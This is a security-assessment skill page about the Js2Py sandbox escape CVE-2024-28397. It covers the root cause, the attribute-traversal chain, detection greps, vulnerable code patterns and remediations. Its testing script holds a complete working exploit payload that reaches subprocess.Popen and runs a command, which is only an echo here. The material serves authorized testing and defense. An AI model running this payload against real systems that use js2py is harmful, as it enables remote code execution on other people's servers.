# Js2py Cve 2024 28397 Assessment

> Security assessment skill for CVE-2024-28397 (Js2Py sandbox escape). Use this skill when analyzing JavaScript-to-Python execution environments, reviewing js2py usage in codebases, testing for this specific vulnerability in authorized security assessments, or implementing mitigations. Trigger when users mention js2py, JavaScript sandboxing, Python sandbox escapes, CVE-2024-28397, or need to evaluate js2py security posture.

- Skill: `abelrguezr/js2py-cve-2024-28397-assessment` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/js2py-cve-2024-28397-assessment`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/js2py-cve-2024-28397-assessment/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/js2py-cve-2024-28397-assessment

---


# Js2Py CVE-2024-28397 Security Assessment

A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).

## ⚠️ Authorization Required

**This skill is for authorized security testing only.** Only use these techniques on:
- Systems you own or have explicit written permission to test
- Your own development/testing environments
- Bug bounty programs where this vulnerability is in scope

Unauthorized access to computer systems is illegal.

## What This Vulnerability Is

Js2Py translates JavaScript into Python objects. Even when `js2py.disable_pyimport()` is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like `subprocess.Popen`, achieving remote code execution (RCE).

**Affected versions:** Js2Py ≤ 0.74

**Root cause:** Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (`__getattribute__`, `__class__`, `__base__`, `__subclasses__`). The `disable_pyimport()` function only blocks explicit imports but doesn't prevent accessing already-loaded modules.

## The Exploitation Chain

### Step-by-Step Primitive Chain

1. **Get a Python-backed object**: `Object.getOwnPropertyNames({})` returns a `dict_keys` object in Python space
2. **Recover attribute access**: Grab `.__getattribute__` from that object to read arbitrary attributes
3. **Climb to `object`**: From `<class 'dict_keys'>` read `.__base__` to reach Python's base `object`
4. **Enumerate loaded classes**: Call `object.__subclasses__()` to walk every class loaded in the interpreter
5. **Find `subprocess.Popen`**: Recursively search subclasses where `__module__ == "subprocess"` and `__name__ == "Popen"`
6. **Execute commands**: Instantiate Popen with attacker-controlled arguments and invoke `.communicate()`

### Why This Works

- Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods
- `disable_pyimport()` only blocks explicit `pyimport` calls
- The chain never imports anything new; it reuses already-loaded modules in memory
- No hard isolation between JS and Python execution contexts

## Testing for the Vulnerability

### Local Reproduction (Authorized Testing Only)

```bash
# Js2Py 0.74 requires Python 3.11 (breaks on 3.12/3.13)
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py

# Test 1: Basic object access
print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})"))

# Test 2: Attribute access primitive
print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))

# Test 3: Class traversal
print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))

# Test 4: Base object access
print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))

# Test 5: Subclass enumeration
print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
```

### Web Application Testing

Any endpoint that feeds attacker-controlled JS into `js2py.eval_js()` is vulnerable if:
- The process user has shell access
- Js2Py version ≤ 0.74
- No additional sandboxing layers exist

**Common vulnerable patterns:**
```python
# VULNERABLE: Flask endpoint accepting JS code
@app.route('/run_code')
def run_code():
    js_code = request.json['code']
    result = js2py.eval_js(js_code)  # RCE if attacker controls js_code
    return jsonify({'result': result})

# VULNERABLE: Even with disable_pyimport()
js2py.disable_pyimport()
result = js2py.eval_js(attacker_controlled_js)  # STILL VULNERABLE
```

## Detection Checklist

Use this checklist to identify vulnerable systems:

- [ ] **Dependency scan**: Check if `js2py` is in `requirements.txt`, `package.json`, or lock files
- [ ] **Version check**: Verify if version is ≤ 0.74
- [ ] **Code search**: Look for `js2py.eval_js(` with user-controlled input
- [ ] **API review**: Identify endpoints accepting JavaScript code execution
- [ ] **Sandbox review**: Check if `disable_pyimport()` is the only mitigation
- [ ] **Process permissions**: Determine if the process user has shell access

### Code Search Patterns

```bash
# Find js2py usage
grep -r "import js2py" .
grep -r "from js2py" .
grep -r "eval_js" .

# Find disable_pyimport usage (false sense of security)
grep -r "disable_pyimport" .
```

## Remediation Strategies

### Immediate Mitigations

1. **Upgrade Js2Py** (if a patched version exists)
   ```bash
   pip install --upgrade js2py
   ```

2. **Remove untrusted JS execution**
   - If you don't need to execute untrusted JavaScript, remove js2py entirely
   - Use safer alternatives like Node.js in a container for JS execution

3. **Implement hard isolation**
   - Run js2py in a separate process with minimal privileges
   - Use containers (Docker) with no shell access
   - Implement network isolation

### Long-term Solutions

1. **Replace with safer alternatives**
   - For JS execution: Use Node.js in isolated containers
   - For JS-to-Python data exchange: Use JSON serialization instead of object translation

2. **Implement input validation**
   - Whitelist allowed JavaScript operations
   - Sanitize all user input before execution
   - Use allowlists rather than blocklists

3. **Defense in depth**
   - Run in containers with seccomp profiles
   - Use read-only filesystems where possible
   - Implement network egress filtering
   - Monitor for suspicious process spawning

### Example: Containerized Isolation

```dockerfile
FROM python:3.11-slim

# Install js2py
RUN pip install js2py==0.74

# Create unprivileged user
RUN useradd -r -s /bin/false js2py_user

# Set restrictive environment
USER js2py_user
WORKDIR /app

# No shell access, limited capabilities
CMD ["python", "app.py"]
```

## Security Testing Script

Use this script to test your own systems (authorized testing only):

```python
#!/usr/bin/env python3
"""Test for CVE-2024-28397 in your own js2py installations."""

import js2py
import sys

def test_sandbox_escape():
    """Test if the sandbox can be escaped."""
    
    # Test payload - harmless command for testing
    test_cmd = "echo 'sandbox_test_success'"
    
    payload = f"""
    let cmd = "{test_cmd}";
    let hacked, bymarve, n11;
    let getattr, obj;
    
    hacked = Object.getOwnPropertyNames({});
    bymarve = hacked.__getattribute__;
    n11 = bymarve("__getattribute__");
    obj = n11("__class__").__base__;
    getattr = obj.__getattribute__;
    
    function findpopen(o) {{
        let result;
        for (let i in o.__subclasses__()) {{
            let item = o.__subclasses__()[i];
            if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
                return item;
            }}
            if (item.__name__ != "type" && (result = findpopen(item))) {{
                return result;
            }}
        }}
    }}
    
    n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
    n11;
    """
    
    try:
        result = js2py.eval_js(payload)
        if "sandbox_test_success" in str(result):
            print("[VULNERABLE] Sandbox escape successful!")
            return True
        else:
            print("[SAFE] Sandbox escape failed")
            return False
    except Exception as e:
        print(f"[SAFE] Exception during test: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2024-28397 Vulnerability Test")
    print("=" * 40)
    print(f"Js2Py version: {js2py.__version__}")
    print()
    test_sandbox_escape()
```

## Common Misconceptions

### ❌ "disable_pyimport() protects us"
**False.** This only blocks explicit `pyimport` calls. The vulnerability chain never imports anything new.

### ❌ "We don't execute user JS, so we're safe"
**Check carefully.** User input might reach js2py through:
- API endpoints accepting code
- File uploads with JS content
- Database-stored scripts
- Third-party integrations

### ❌ "It's just a sandbox, not production"
**False.** Development/test environments can be pivot points to production systems if on the same network.

## References

- [CVE-2024-28397 Details](https://nvd.nist.gov/vuln/detail/CVE-2024-28397)
- [Marven11 PoC](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape)
- [Js2Py GitHub](https://github.com/PiotrDabkowski/Js2Py)

## When to Use This Skill

Use this skill when:
- Reviewing codebases for js2py usage
- Conducting authorized security assessments
- Implementing JavaScript execution in Python applications
- Responding to CVE-2024-28397 alerts
- Designing secure sandbox architectures
- Training security teams on sandbox escapes

## Related Vulnerabilities

Similar sandbox escape patterns exist in:
- Other JS-to-Python bridges
- Python-to-JavaScript bridges
- Any language bridge exposing internal object attributes
- Sandboxes relying on attribute blocking without hard isolation

